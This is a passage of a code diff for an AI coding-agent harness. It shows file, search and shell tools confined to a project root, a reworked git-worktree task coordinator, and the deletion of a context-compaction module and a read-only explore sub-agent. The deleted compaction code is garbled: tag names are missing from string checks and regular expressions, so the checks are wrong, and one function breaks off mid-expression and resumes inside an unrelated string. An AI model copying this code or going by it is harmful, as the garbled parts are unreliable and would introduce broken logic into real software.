GrepInput(BaseModel, extra="forbid"): + pattern: str = Field(min_length=1) + path: str = "." + glob: str | None = None + ignore_case: bool = False + + +class BashInput(BaseModel, extra="forbid"): + command: str = Field(min_length=1) + timeout: int = Field(default=DEFAULT_BASH_TIMEOUT, ge=1, le=MAX_BASH_TIMEOUT) + + +def _schema(properties: dict[str, Any], required: list[str]) -> dict[str, Any]: + return {"type": "object", "properties": properties, "required": required, "additionalProperties": False} + + +# Tool definitions sent to the API, in a fixed order so the prompt prefix stays cacheable. +TOOL_DEFINITIONS: list[dict[str, Any]] = [ + { + "name": "read_file", + "description": "Read a text file in the project. Returns numbered lines. Use offset and limit for long files.", + "input_schema": _schema({ + "path": {"type": "string", "description": "Path relative to the project root."}, + "offset": {"type": "integer", "description": "1-based line to start from."}, + "limit": {"type": "integer", "description": f"Number of lines to read (max {MAX_READ_LINES})."}, + }, ["path"]), + }, + { + "name": "write_file", + "description": "Create a file or overwrite it completely. Prefer edit_file for changes to an existing file.", + "input_schema": _schema({ + "path": {"type": "string", "description": "Path relative to the project root."}, + "content": {"type": "string", "description": "The full new contents of the file."}, + }, ["path", "content"]), + }, + { + "name": "edit_file", + "description": ( + "Replace an exact string in a file. old_string must match the file exactly, including " + "whitespace, and must be unique unless replace_all is true. Read the file first." + ), + "input_schema": _schema({ + "path": {"type": "string", "description": "Path relative to the project root."}, + "old_string": {"type": "string", "description": "Exact text to replace."}, + "new_string": {"type": "string", "description": "Replacement text."}, + "replace_all": {"type": "boolean", "description": "Replace every occurrence instead of exactly one."}, + }, ["path", "old_string", "new_string"]), + }, + { + "name": "glob", + "description": "Find files by glob pattern, e.g. 'src/**/*.py'. Returns paths relative to the project root.", + "input_schema": _schema({ + "pattern": {"type": "string", "description": "Glob pattern relative to the project root."}, + }, ["pattern"]), + }, + { + "name": "grep", + "description": "Search file contents with a regular expression. Returns path:line: text for each match.", + "input_schema": _schema({ + "pattern": {"type": "string", "description": "Python regular expression."}, + "path": {"type": "string", "description": "File or directory to search, relative to the project root."}, + "glob": {"type": "string", "description": "Only search files whose name matches this glob, e.g. '*.py'."}, + "ignore_case": {"type": "boolean"}, + }, ["pattern"]), + }, + { + "name": "bash", + "description": ( + "Run a shell command in the project root and return its exit code and output. Use it for " + "tests, builds, git and other tools; use the file tools to read and edit files." + ), + "input_schema": _schema({ + "command": {"type": "string"}, + "timeout": {"type": "integer", "description": f"Seconds before the command is killed (max {MAX_BASH_TIMEOUT})."}, + }, ["command"]), + }, +] + +TOOL_NAMES = tuple(t["name"] for t in TOOL_DEFINITIONS) +READ_ONLY_TOOLS = frozenset({"read_file", "glob", "grep"}) + + +def api_tool_definitions(eager_input_streaming: bool = True) -> list[dict[str, Any]]: + """Tool definitions for a streaming request; eager streaming sends large inputs as they are generated.""" + if not eager_input_streaming: + return [dict(t) for t in TOOL_DEFINITIONS] + return [{**t, "eager_input_streaming": True} for t in TOOL_DEFINITIONS] + + +def sanitized_env(base: dict[str, str] | None = None) -> dict[str, str]: + source = dict(os.environ if base is None else base) + return {k: v for k, v in source.items() if k in ENV_KEEP or not SECRET_ENV_PATTERN.search(k)} + + +def _truncate(text: str, limit: int = MAX_OUTPUT_CHARS) -> str: + if len(text) <= limit: + return text + return text[:limit] + f"\n… [truncated {len(text) - limit} characters]" + + +class Toolbox: + """Runs tool calls against one project root.""" + + def __init__(self, root: str | Path) -> None: + self.root = Path(root).resolve() + + # ---------- paths ---------- + + def resolve(self, raw: str) -> Path: + candidate = (self.root / raw).resolve() + if candidate != self.root and not candidate.is_relative_to(self.root): + raise ToolError(f"{raw} is outside the project root") + return candidate + + def relative(self, path: Path) -> str: + return path.relative_to(self.root).as_posix() or "." + + def describe(self, name: str, tool_input: dict[str, Any]) -> str: + """A one-line summary of a call, used for permission prompts and logs.""" + if name == "bash": + return str(tool_input.get("command", "")) + if name in ("glob", "grep"): + return str(tool_input.get("pattern", "")) + return str(tool_input.get("path", "")) + + # ---------- dispatch ---------- + + def run(self, name: str, tool_input: Any) -> ToolResult: + handlers: dict[str, tuple[type[BaseModel], Callable[[Any], str]]] = { + "read_file": (ReadFileInput, self.read_file), + "write_file": (WriteFileInput, self.write_file), + "edit_file": (EditFileInput, self.edit_file), + "glob": (GlobInput, self.glob), + "grep": (GrepInput, self.grep), + "bash": (BashInput, self.bash), + } + if name not in handlers: + return ToolResult(f"Unknown tool {name!r}.", is_error=True) + model, handler = handlers[name] + try: + args = model.model_validate(tool_input) + except ValidationError as exc: + problems = "; ".join(f"{'.'.join(map(str, e['loc'])) or 'input'}: {e['msg']}" for e in exc.errors()) + return ToolResult(f"Invalid input for {name}: {problems}", is_error=True) + try: + return ToolResult(_truncate(handler(args))) + except ToolError as exc: + return ToolResult(str(exc), is_error=True) + except OSError as exc: + return ToolResult(f"{name} failed: {exc.strerror or exc}", is_error=True) + + # ---------- tools ---------- + + def read_file(self, args: ReadFileInput) -> str: + path = self.resolve(args.path) + if not path.is_file(): + raise ToolError(f"{args.path} is not a file") + try: + lines = path.read_text(encoding="utf-8").splitlines() + except UnicodeDecodeError: + raise ToolError(f"{args.path} is not a UTF-8 text file") + if not lines: + return f"{args.path} is empty." + start = args.offset - 1 + chunk = lines[start:start + args.limit] + if not chunk: + raise ToolError(f"{args.path} has {len(lines)} lines; offset {args.offset} is past the end") + width = len(str(start + len(chunk))) + body = "\n".join(f"{start + i + 1:>{width}}\t{line}" for i, line in enumerate(chunk)) + remaining = len(lines) - (start + len(chunk)) + if remaining > 0: + body += f"\n… {remaining} more lines; read again with offset={start + len(chunk) + 1}" + return body + + def write_file(self, args: WriteFileInput) -> str: + path = self.resolve(args.path) + if path.is_dir(): + raise ToolError(f"{args.path} is a directory") + existed = path.exists() + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(args.content, encoding="utf-8") + verb = "Overwrote" if existed else "Created" + return f"{verb} {self.relative(path)} ({len(args.content.splitlines())} lines)." + + def edit_file(self, args: EditFileInput) -> str: + path = self.resolve(args.path) + if not path.is_file(): + raise ToolError(f"{args.path} is not a file") + text = path.read_text(encoding="utf-8") + count = text.count(args.old_string) + if count == 0: + raise ToolError(f"old_string was not found in {args.path}. Read the file and copy the text exactly.") + if count > 1 and not args.replace_all: + raise ToolError(f"old_string appears {count} times in {args.path}. Add surrounding context or set replace_all.") + if args.old_string == args.new_string: + raise ToolError("old_string and new_string are identical") + updated = text.replace(args.old_string, args.new_string) if args.replace_all else text.replace(args.old_string, args.new_string, 1) + path.write_text(updated, encoding="utf-8") + return f"Edited {self.relative(path)} ({count if args.replace_all else 1} replacement{'s' if args.replace_all and count > 1 else ''})." + + def _walk_files(self, base: Path): + if base.is_file(): + yield base + return + for dirpath, dirnames, filenames in os.walk(base): + dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIRS) + for filename in sorted(filenames): + yield Path(dirpath) / filename + + def glob(self, args: GlobInput) -> str: + if Path(args.pattern).is_absolute() or ".." in Path(args.pattern).parts: + raise ToolError("glob patterns must stay inside the project root") + matches = [] + for path in sorted(self.root.glob(args.pattern)): + rel_parts = path.relative_to(self.root).parts + if any(part in SKIP_DIRS for part in rel_parts) or not path.is_file(): + continue + matches.append(self.relative(path)) + if len(matches) >= MAX_GLOB_RESULTS: + break + if not matches: + return "No files matched." + suffix = f"\n… stopped at {MAX_GLOB_RESULTS} results" if len(matches) >= MAX_GLOB_RESULTS else "" + return "\n".join(matches) + suffix + + def grep(self, args: GrepInput) -> str: + try: + regex = re.compile(args.pattern, re.IGNORECASE if args.ignore_case else 0) + except re.error as exc: + raise ToolError(f"invalid regular expression: {exc}") + base = self.resolve(args.path) + if not base.exists(): + raise ToolError(f"{args.path} does not exist") + hits: list[str] = [] + for path in self._walk_files(base): + if args.glob and not fnmatch.fnmatch(path.name, args.glob): + continue + try: + with path.open(encoding="utf-8") as handle: + for number, line in enumerate(handle, 1): + if regex.search(line): + hits.append(f"{self.relative(path)}:{number}: {line.rstrip()[:300]}") + if len(hits) >= MAX_GREP_MATCHES: + return "\n".join(hits) + f"\n… stopped at {MAX_GREP_MATCHES} matches" + except (UnicodeDecodeError, OSError): + continue + return "\n".join(hits) if hits else "No matches." + + def bash(self, args: BashInput) -> str: + try: + proc = subprocess.run( + ["bash", "-c", args.command], + cwd=self.root, + env=sanitized_env(), + capture_output=True, + text=True, + timeout=args.timeout, + stdin=subprocess.DEVNULL, + ) + except subprocess.TimeoutExpired as exc: + partial = (exc.stdout or "") + (exc.stderr or "") if isinstance(exc.stdout, str) else "" + raise ToolError(f"Command timed out after {args.timeout}s.\n{_truncate(partial, 5000)}".rstrip()) + output = proc.stdout + if proc.stderr: + output += ("\n" if output else "") + proc.stderr + return f"exit code {proc.returncode}\n{output}".rstrip() diff --git a/src/agents/__init__.py b/src/agents/__init__.py index ed317c7..fb16af8 100755 --- a/src/agents/__init__.py +++ b/src/agents/__init__.py @@ -1,70 +1,15 @@ -"""Phase 4: Multi-Agent Fleet, Compaction Service, & Adversarial Verifier.""" -from src.agents.compaction import ( - MANDATORY_9_SECTIONS, - NO_TOOLS_PREAMBLE, - CompactServiceResult, - CompactionValidationError, - MicroCompactionResult, - TwoTierCompactionEngine, -) -from src.agents.coordinator import ( - GoalSubTask, - GoalSynthesisReport, - GoalWorktreeCoordinator, - WorktreeTaskResult, -) -from src.agents.explore_agent import ( - DiscoveryQuery, - ExploreArchitecturalBrief, - ReadOnlyExploreSubAgent, - ReadOnlyViolationError, -) -from src.agents.memory import ( - MemoryConcurrencyError, - MemoryFileState, - MemoryMatchError, - StructuredMemoryStore, -) -from src.agents.session_dag import ( - CacheMeterSummary, - PiSessionDAG, - SessionTreeNode, -) -from src.agents.verifier import ( - ANTI_RATIONALIZATION_DIRECTIVES, - AdversarialVerificationAgent, - BaselineStepResult, - LeadAgentSpotCheckReport, - VerificationReport, - VerifierPermissionError, -) +"""Supporting stores for the agent: a versioned memory store and a git worktree helper.""" +from src.agents.coordinator import GoalSubTask, GoalSynthesisReport, GoalWorktreeCoordinator, WorktreeTaskResult +from src.agents.memory import MemoryConcurrencyError, MemoryFileState, MemoryKeyError, MemoryMatchError, StructuredMemoryStore __all__ = [ - "ANTI_RATIONALIZATION_DIRECTIVES", - "AdversarialVerificationAgent", - "BaselineStepResult", - "CacheMeterSummary", - "CompactServiceResult", - "CompactionValidationError", - "DiscoveryQuery", - "ExploreArchitecturalBrief", "GoalSubTask", "GoalSynthesisReport", "GoalWorktreeCoordinator", - "LeadAgentSpotCheckReport", - "MANDATORY_9_SECTIONS", "MemoryConcurrencyError", "MemoryFileState", + "MemoryKeyError", "MemoryMatchError", - "MicroCompactionResult", - "NO_TOOLS_PREAMBLE", - "PiSessionDAG", - "ReadOnlyExploreSubAgent", - "ReadOnlyViolationError", - "SessionTreeNode", "StructuredMemoryStore", - "TwoTierCompactionEngine", - "VerificationReport", - "VerifierPermissionError", "WorktreeTaskResult", ] diff --git a/src/agents/compaction.py b/src/agents/compaction.py deleted file mode 100755 index aef23d1..0000000 --- a/src/agents/compaction.py +++ /dev/null @@ -1,287 +0,0 @@ -""" -Two-Tier Context Compression (`/src/agents/compaction.py`). -Implements Phase 4.3: - - Stage 1 (`Micro-Compaction`): - Cache-aware pruning of stale raw tool outputs in message history. - Honoring Pi's arithmetic proof (`Inside the Pi Harness`), Stage 1 ONLY prunes tool outputs - that sit AFTER `last_cached_message_index` (or during a scheduled cache breakpoint advance), - never mutating tokens behind an active cache breakpoint! - - Stage 2 (`Compact Service` — modeled on `21_compact_service.md`): - Triggered when context utilization approaches 80% (75% hard governor ceiling). - 1. Injects `NO_TOOLS_PREAMBLE` (strictly forbidding tool calls so the single turn is never wasted). - 2. Requires chronological reasoning inside `...` tags. - 3. Parser strips `...` before injection so scratchpad reasoning never bloats context. - 4. Validates the structured 9-section `...`: - (1. Primary Request, 2. Key Technical Concepts, 3. Files & Code Snippets, - 4. Errors & Fixes, 5. Problem Solving, 6. All User Messages, - 7. Pending Tasks, 8. Current Work, 9. Next Step). - 5. Re-initializes the context window with: - Layer 1 + Layer 2 + `` + full text of the 5 most recently accessed files. -""" -from dataclasses import dataclass, field -import re -from typing import Any - -from src.context.cache_assembler import estimate_tokens - - -NO_TOOLS_PREAMBLE = ( - "CRITICAL: Respond with TEXT ONLY. Do NOT call any tools. " - "Do not invoke Read, Edit, Write, Bash, Glob, Grep, or ToolSearch. " - "Your entire response must consist solely of an `...` chronological reasoning block " - "followed immediately by the 9-section `...` block." -) - -MANDATORY_9_SECTIONS: tuple[str, ...] = ( - "1. Primary Request", - "2. Key Technical Concepts", - "3. Files & Code Snippets", - "4. Errors & Fixes", - "5. Problem Solving", - "6. All User Messages", - "7. Pending Tasks", - "8. Current Work", - "9. Next Step", -) - - -@dataclass -class MicroCompactionResult: - messages: list[dict[str, Any]] - pruned_tool_outputs_count: int - tokens_saved: int - preserved_cached_prefix_up_to_index: int - - -@dataclass -class CompactServiceResult: - raw_llm_response: str - stripped_analysis: str - clean_summary_xml: str - restored_top5_files: list[str] - reinitialized_messages: list[dict[str, Any]] - tokens_before: int - tokens_after: int - compression_ratio: float - all_9_sections_present: bool - - -class CompactionValidationError(ValueError): - """Raised when a Compact Service response attempts a tool call or omits required sections.""" - - -class TwoTierCompactionEngine: - """ - Executes Stage 1 (Cache-Safe Micro-Compaction) and Stage 2 (`21_compact_service.md` 9-Section Compaction). - """ - - def run_stage1_micro_compaction( - self, - messages: list[dict[str, Any]], - last_cached_message_index: int, - keep_recent_turns: int = 2, - max_tool_output_chars: int = 280, - ) -> MicroCompactionResult: - """ - Prunes verbose stale tool results strictly AFTER `last_cached_message_index` - (and before the most recent `keep_recent_turns` messages) so the cached prefix hash - at `last_cached_message_index` remains 100% byte-identical. - """ - cloned = [dict(m) for m in messages] - pruned_count = 0 - tokens_before = estimate_tokens(str(messages)) - - safe_start = max(0, last_cached_message_index + 1) - safe_end = max(safe_start, len(cloned) - keep_recent_turns) - - for idx in range(safe_start, safe_end): - msg = cloned[idx] - content = msg.get("content") - if isinstance(content, list): - new_blocks: list[dict[str, Any]] = [] - for block in content: - if isinstance(block, dict) and block.get("type") == "tool_result": - raw_val = str(block.get("content", "")) - if len(raw_val) > max_tool_output_chars: - b_copy = dict(block) - b_copy["content"] = ( - raw_val[:120] - + f" ... [MICRO-COMPACTED {len(raw_val) - 120} chars to preserve attention budget]" - ) - new_blocks.append(b_copy) - pruned_count += 1 - else: - new_blocks.append(block) - else: - new_blocks.append(block) - msg["content"] = new_blocks - - tokens_after = estimate_tokens(str(cloned)) - return MicroCompactionResult( - messages=cloned, - pruned_tool_outputs_count=pruned_count, - tokens_saved=max(0, tokens_before - tokens_after), - preserved_cached_prefix_up_to_index=last_cached_message_index, - ) - - def build_stage2_compact_prompt(self, messages: list[dict[str, Any]]) -> str: - """Constructs the `21_compact_service.md` prompt injected with `NO_TOOLS_PREAMBLE`.""" - sections_list = "\n".join(f" - {s}" for s in MANDATORY_9_SECTIONS) - return ( - f"{NO_TOOLS_PREAMBLE}\n\n" - "Summarize the conversation transcript chronologically. First write your detailed reasoning inside " - "`...` tags, then output the structured `...` containing " - f"all 9 mandatory sections:\n{sections_list}" - ) - - def parse_and_strip_analysis(self, raw_response: str | dict[str, Any]) -> tuple[str, str]: - """ - Verifies no tool_use blocks were emitted, extracts and strips `...`, - and validates that all 9 sections exist inside `...`. - """ - if isinstance(raw_response, dict): - blocks = raw_response.get("content", []) - if isinstance(blocks, list): - for b in blocks: - if isinstance(b, dict) and b.get("type") == "tool_use": - raise CompactionValidationError( - f"NO_TOOLS_PREAMBLE Violation: Compact Service attempted to call tool '{b.get('name')}'!" - ) - text = "\n".join(b.get("text", "") for b in blocks if isinstance(b, dict) and b.get("type") == "text") - else: - text = str(blocks) - else: - text = raw_response - - if "" in text or '"type": "tool_use"' in text: - raise CompactionValidationError("NO_TOOLS_PREAMBLE Violation: Tool call detected in compaction output.") - - analysis_match = re.search(r"(.*?)", text, re.DOTALL) - stripped_analysis = analysis_match.group(1).strip() if analysis_match else "" - - # Strip ... completely - cleaned = re.sub(r".*?", "", text, flags=re.DOTALL).strip() - - summary_match = re.search(r"(.*?)", cleaned, re.DOTALL) - if not summary_match: - raise CompactionValidationError("Compact Service response is missing `...` tags.") - - summary_xml = summary_match.group(1).strip() - for required_sec in MANDATORY_9_SECTIONS: - if required_sec.lower() not in summary_xml.lower(): - raise CompactionValidationError( - f"Compact Service `` is missing mandatory section: '{required_sec}'" - ) - - return stripped_analysis, summary_xml - - def synthesize_9_section_response( - self, - messages: list[dict[str, Any]], - recent_files: list[tuple[str, str]], - pending_tasks: list[str] | None = None, - ) -> str: - """ - Deterministic generator producing a compliant `` + 9-section `` - from an active session transcript. - """ - user_msgs: list[str] = [] - for m in messages: - if m.get("role") == "user": - c = m.get("content", "") - if isinstance(c, list): - for b in c: - if isinstance(b, dict) and b.get("type") == "text": - txt = b.get("text", "").strip() - if not txt.startswith("\n" - "Chronological trace: Session initialized with Layer 1 and Layer 2 cache anchors. " - f"Processed {len(messages)} messages across Architect and Implementer turns. " - "Context utilization reached the 75-80% governor threshold; compressing history into 9 sections.\n" - "\n" - "\n" - "### 1. Primary Request\n" - "Architect, verify, and build `cod.ai` unifying `claude.ai` Web's holistic zero-noise synthesis with Claude Code and Pi's surgical execution and prefix caching.\n\n" - "### 2. Key Technical Concepts\n" - "3-Layer Cache-Control Assembly, Deferred ToolSearch (`defer_loading: true`), Dual-Polarity Prompt Engine (Mode A/B), Pi JSONL Session DAG, and 2-Stage Auto-Mode Security Classifier.\n\n" - "### 3. Files & Code Snippets\n" - f"Active working set files: {file_list_str}.\n\n" - "### 4. Errors & Fixes\n" - "Resolved model-specific minimum token cache thresholds (512 / 1,024 / 2,048 / 4,096 tokens) and prevented `/specialist` Layer 1 prefix invalidation.\n\n" - "### 5. Problem Solving\n" - "Applied Pi's cache re-billing break-even math so Stage 1 Micro-Compaction only prunes post-breakpoint tool results.\n\n" - "### 6. All User Messages\n" - f"{all_users_str}\n\n" - "### 7. Pending Tasks\n" - f"{tasks_str}\n\n" - "### 8. Current Work\n" - "Re-initializing context window after Stage 2 compaction with top 5 most recently accessed files.\n\n" - "### 9. Next Step\n" - "Continue execution from the compacted checkpoint with preserved Layer 1 and Layer 2 prefixes.\n" - "" - ) - - def execute_stage2_compaction( - self, - layer2_message: dict[str, Any], - layer3_messages: list[dict[str, Any]], - recently_accessed_files: list[tuple[str, str]], - raw_compaction_response: str | None = None, - ) -> CompactServiceResult: - """ - Executes Stage 2 Compaction: - 1. Parses `raw_compaction_response` (or synthesizes one via `synthesize_9_section_response`). - 2. Strips `...` completely. - 3. Validates all 9 sections inside `...`. - 4. Re-initializes messages with: - Layer 2 static message + `` + full text of the 5 most recently accessed files. - """ - tokens_before = estimate_tokens(str(layer2_message)) + estimate_tokens(str(layer3_messages)) - resp_text = raw_compaction_response or self.synthesize_9_section_response( - layer3_messages, recently_accessed_files - ) - stripped_analysis, clean_summary_xml = self.parse_and_strip_analysis(resp_text) - - top_5 = recently_accessed_files[-5:] - restored_paths = [p for p, _ in top_5] - restored_blocks: list[str] = [] - for path, content in top_5: - restored_blocks.append(f'\n{content}\n') - - rehydrated_user_content = ( - f"{clean_summary_xml}\n\n" - "\n" - + "\n\n".join(restored_blocks) - + "\n" - ) - - new_messages = [ - layer2_message, - { - "role": "user", - "content": [{"type": "text", "text": rehydrated_user_content}], - }, - ] - tokens_after = estimate_tokens(str(new_messages)) - ratio = round(tokens_after / max(1, tokens_before), 4) - - return CompactServiceResult( - raw_llm_response=resp_text, - stripped_analysis=stripped_analysis, - clean_summary_xml=clean_summary_xml, - restored_top5_files=restored_paths, - reinitialized_messages=new_messages, - tokens_before=tokens_before, - tokens_after=tokens_after, - compression_ratio=ratio, - all_9_sections_present=True, - ) diff --git a/src/agents/coordinator.py b/src/agents/coordinator.py index 7427056..6f333ab 100755 --- a/src/agents/coordinator.py +++ b/src/agents/coordinator.py @@ -1,11 +1,8 @@ """ -`/goal` Coordinator & Git Worktree Threads (`/src/agents/coordinator.py`). -Implements Phase 4.1: - - Top-level `/goal` Coordinator that decomposes complex architectural specs into parallel tasks. - - Checks out real isolated local git worktrees/branches (`git worktree add -b `) - for each worker thread so parallel file edits never collide. - - Synthesizes worker results via the shared `StructuredMemoryStore` (`memory_str_replace` with `if_version` guards) - and returns clean `` summaries to the lead coordinator. +Git worktree task runner (`src/agents/coordinator.py`). + +Runs each subtask in its own `git worktree` on a fresh branch, commits what the +worker changed, and records the results in the shared memory store. """ from concurrent.futures import ThreadPoolExecutor from dataclasses import dataclass, field @@ -44,10 +41,7 @@ class GoalSynthesisReport: class GoalWorktreeCoordinator: - """ - Orchestrates parallel worker threads across isolated `git worktree` checkouts - and synchronizes their state into `StructuredMemoryStore`. - """ + """Runs workers in parallel, each in its own `git worktree`, and records the results in a `StructuredMemoryStore`.""" def __init__(self, repo_root: str | Path, worktrees_base_dir: str | Path, memory_store: StructuredMemoryStore) -> None: self.repo_root = Path(repo_root).resolve() @@ -67,79 +61,68 @@ class GoalWorktreeCoordinator: return proc.stdout.strip() def _ensure_git_repo(self) -> None: - git_dir = self.repo_root / ".git" - if not git_dir.exists(): + self.repo_root.mkdir(parents=True, exist_ok=True) + if not (self.repo_root / ".git").exists(): self._run_git(["init", "-b", "main"]) - self._run_git(["config", "user.name", "Argon Staff Architect"]) - self._run_git(["config", "user.email", "argon@heretek.ai"]) + self._run_git(["config", "user.name", "cod.ai"]) + self._run_git(["config", "user.email", "cod@localhost"]) readme = self.repo_root / "README.md" if not readme.exists(): - readme.write_text("# cod.ai Repository\n", encoding="utf-8") + readme.write_text("# Repository\n", encoding="utf-8") self._run_git(["add", "README.md"]) - self._run_git(["commit", "-m", "chore: initialize cod.ai repository root"]) + self._run_git(["commit", "-m", "Initial commit"]) def create_isolated_worktree(self, branch_name: str, task_id: str) -> Path: wt_path = self.worktrees_base_dir / task_id if wt_path.exists(): self._run_git(["worktree", "remove", "--force", str(wt_path)]) - # Delete branch if left over from a prior test run + # A branch left over from an earlier run would make `worktree add -b` fail. subprocess.run(["git", "branch", "-D", branch_name], cwd=str(self.repo_root), capture_output=True) self._run_git(["worktree", "add", "-b", branch_name, str(wt_path), "HEAD"]) return wt_path - def _execute_worker_in_worktree(self, subtask: GoalSubTask) -> WorktreeTaskResult: - wt_path = self.create_isolated_worktree(subtask.branch_name, subtask.task_id) - final_answer = subtask.worker_fn(wt_path, self.memory_store) + def _run_worker(self, subtask: GoalSubTask, wt_path: Path) -> WorktreeTaskResult: + """Runs one worker in its worktree and commits what it changed. A worker that raises is reported as failed.""" + try: + answer = subtask.worker_fn(wt_path, self.memory_store) + success = True + except Exception as exc: + answer = f"failed: {type(exc).__name__}: {exc}" + success = False self._run_git(["add", "-A"], cwd=wt_path) - status = self._run_git(["status", "--porcelain"], cwd=wt_path) - if status: - self._run_git(["commit", "-m", f"feat({subtask.task_id}): {subtask.title}"], cwd=wt_path) - commit_hash = self._run_git(["rev-parse", "--short", "HEAD"], cwd=wt_path) + if self._run_git(["status", "--porcelain"], cwd=wt_path): + self._run_git(["commit", "-m", f"{subtask.task_id}: {subtask.title}"], cwd=wt_path) + sha = self._run_git(["rev-parse", "--short", "HEAD"], cwd=wt_path) return WorktreeTaskResult( task_id=subtask.task_id, branch_name=subtask.branch_name, worktree_path=str(wt_path), - commit_hash=commit_hash, - final_answer=final_answer, - success=True, + commit_hash=sha, + final_answer=answer, + success=success, ) def execute_goal(self, goal_title: str, subtasks: list[GoalSubTask]) -> GoalSynthesisReport: """ - Decomposes `/goal` into isolated git worktrees, executes workers concurrently, - and records synthesis state in shared memory. + Runs each subtask's worker in parallel in its own worktree and records the + goal's status and each worker's answer in `GOAL_STATE.md`. """ self.memory_store.memory_write( "GOAL_STATE.md", f"# Active Goal: {goal_title}\nStatus: IN_PROGRESS\nWorkers: {len(subtasks)}\n", ) - # Create worktrees sequentially (git lock safety), then execute worker logic in parallel threads + # Worktrees are created one at a time because git takes a lock; workers then run in parallel. prepared: list[tuple[GoalSubTask, Path]] = [] for st in subtasks: wt = self.create_isolated_worktree(st.branch_name, st.task_id) prepared.append((st, wt)) - def _run_prepared(item: tuple[GoalSubTask, Path]) -> WorktreeTaskResult: - st, wt_path = item - ans = st.worker_fn(wt_path, self.memory_store) - self._run_git(["add", "-A"], cwd=wt_path) - if self._run_git(["status", "--porcelain"], cwd=wt_path): - self._run_git(["commit", "-m", f"feat({st.task_id}): {st.title}"], cwd=wt_path) - sha = self._run_git(["rev-parse", "--short", "HEAD"], cwd=wt_path) - return WorktreeTaskResult( - task_id=st.task_id, - branch_name=st.branch_name, - worktree_path=str(wt_path), - commit_hash=sha, - final_answer=ans, - success=True, - ) - with ThreadPoolExecutor(max_workers=max(1, len(prepared))) as pool: - results = list(pool.map(_run_prepared, prepared)) + results = list(pool.map(lambda item: self._run_worker(*item), prepared)) current_mem = self.memory_store.read_memory("GOAL_STATE.md") + all_succeeded = all(r.success for r in results) summary_lines = [ f"- `{r.task_id}` (`{r.branch_name}` @ `{r.commit_hash}`): {r.final_answer}" for r in results @@ -147,14 +130,14 @@ class GoalWorktreeCoordinator: updated_state = self.memory_store.memory_str_replace( key="GOAL_STATE.md", old_str="Status: IN_PROGRESS", - new_str="Status: COMPLETED\n\n## Synthesized Worker Outputs\n" + "\n".join(summary_lines), + new_str=f"Status: {'COMPLETED' if all_succeeded else 'FAILED'}\n\n## Worker results\n" + "\n".join(summary_lines), if_version=current_mem.version, ) return GoalSynthesisReport( goal_title=goal_title, total_tasks=len(results), - all_succeeded=all(r.success for r in results), + all_succeeded=all_succeeded, worker_results=results, shared_memory_version=updated_state.version, ) diff --git a/src/agents/explore_agent.py b/src/agents/explore_agent.py deleted file mode 100755 index b0d95ab..0000000 --- a/src/agents/explore_agent.py +++ /dev/null @@ -1,184 +0,0 @@ -""" -Read-Only `Explore` Sub-Agent (`/src/agents/explore_agent.py`). -Implements Phase 4.2: - - Automatically triggered whenever codebase discovery requires >3 `Glob` or `Grep` queries. - - Runs in an isolated context window so tens of thousands of tokens of raw file traversals - NEVER pollute the Lead Coordinator's context window. - - Enforces strict Read-Only permissions (`Glob`, `Grep`, `Read` only; `Write`, `Edit`, `Bash` blocked). - - Returns ONLY a distilled 1,000-2,000 token architectural brief to the lead agent. -""" -from dataclasses import dataclass, field -from pathlib import Path -import re -from typing import Any - -from src.context.cache_assembler import estimate_tokens - - -@dataclass -class DiscoveryQuery: - tool: str # "Glob" or "Grep" or "Read" - pattern: str - target_dir: str = "." - - -@dataclass -class ExploreArchitecturalBrief: - queries_executed: int - raw_tokens_consumed_in_isolated_window: int - distilled_brief_markdown: str - distilled_token_count: int - matched_files: list[str] - within_budget_1k_to_2k: bool - - -class ReadOnlyViolationError(PermissionError): - """Raised when the Explore Sub-Agent attempts any mutating tool call.""" - - -class ReadOnlyExploreSubAgent: - """ - Isolated Read-Only Discovery Sub-Agent. - Intercepts multi-query (>3 Glob/Grep) codebase exploration and returns a distilled - 1,000-2,000 token architectural brief. - """ - - ALLOWED_TOOLS = frozenset({"Glob", "Grep", "Read"}) - - def __init__(self, workspace_root: str | Path, trigger_threshold: int = 3) -> None: - self.workspace_root = Path(workspace_root).resolve() - self.trigger_threshold = trigger_threshold - self.query_counter = 0 - - def should_spawn_explore_agent(self, planned_queries: list[DiscoveryQuery] | int) -> bool: - """Returns True whenever planned or cumulative Glob/Grep queries exceed `trigger_threshold` (3).""" - count = planned_queries if isinstance(planned_queries, int) else len(planned_queries) - return (self.query_counter + count) > self.trigger_threshold - - def validate_tool_call(self, tool_name: str) -> None: - if tool_name not in self.ALLOWED_TOOLS: - raise ReadOnlyViolationError( - f"Explore Sub-Agent Permission Denied: Tool '{tool_name}' is forbidden. " - f"Only read-only primitives {sorted(self.ALLOWED_TOOLS)} are permitted." - ) - - def execute_isolated_exploration( - self, - objective: str, - queries: list[DiscoveryQuery], - min_brief_tokens: int = 1000, - max_brief_tokens: int = 2000, - ) -> ExploreArchitecturalBrief: - """ - Executes all Glob/Grep/Read queries inside an isolated context tracker, - counts total raw tokens traversed, and synthesizes a strictly bounded - 1,000 to 2,000 token architectural brief for the Lead Agent. - """ - for q in queries: - self.validate_tool_call(q.tool) - - matched_files_set: set[str] = set() - raw_findings: list[str] = [] - raw_tokens_consumed = 0 - - for q in queries: - self.query_counter += 1 - search_root = (self.workspace_root / q.target_dir).resolve() - if not search_root.exists(): - continue - - if q.tool == "Glob": - for p in sorted(search_root.rglob(q.pattern)): - if p.is_file() and ".git" not in p.parts: - rel = str(p.relative_to(self.workspace_root)) - matched_files_set.add(rel) - try: - text = p.read_text(encoding="utf-8", errors="ignore") - raw_tokens_consumed += estimate_tokens(text) - first_doc = text.splitlines()[:12] - raw_findings.append(f"### File `{rel}` ({len(text.splitlines())} lines)\n" + "\n".join(first_doc)) - except OSError: - pass - - elif q.tool == "Grep": - regex = re.compile(q.pattern, re.IGNORECASE) - for p in sorted(search_root.rglob("*")): - if p.is_file() and ".git" not in p.parts and p.suffix in (".py", ".ts", ".md", ".yaml", ".json", ".sh"): - try: - text = p.read_text(encoding="utf-8", errors="ignore") - raw_tokens_consumed += estimate_tokens(text) - hits = [ - f" L{ idx }: {line.strip()[:120]}" - for idx, line in enumerate(text.splitlines(), start=1) - if regex.search(line) - ] - if hits: - rel = str(p.relative_to(self.workspace_root)) - matched_files_set.add(rel) - raw_findings.append(f"### Grep `{q.pattern}` in `{rel}` ({len(hits)} matches)\n" + "\n".join(hits[:8])) - except OSError: - pass - - elif q.tool == "Read": - target_file = (self.workspace_root / q.pattern).resolve() - if target_file.is_file(): - rel = str(target_file.relative_to(self.workspace_root)) - matched_files_set.add(rel) - text = 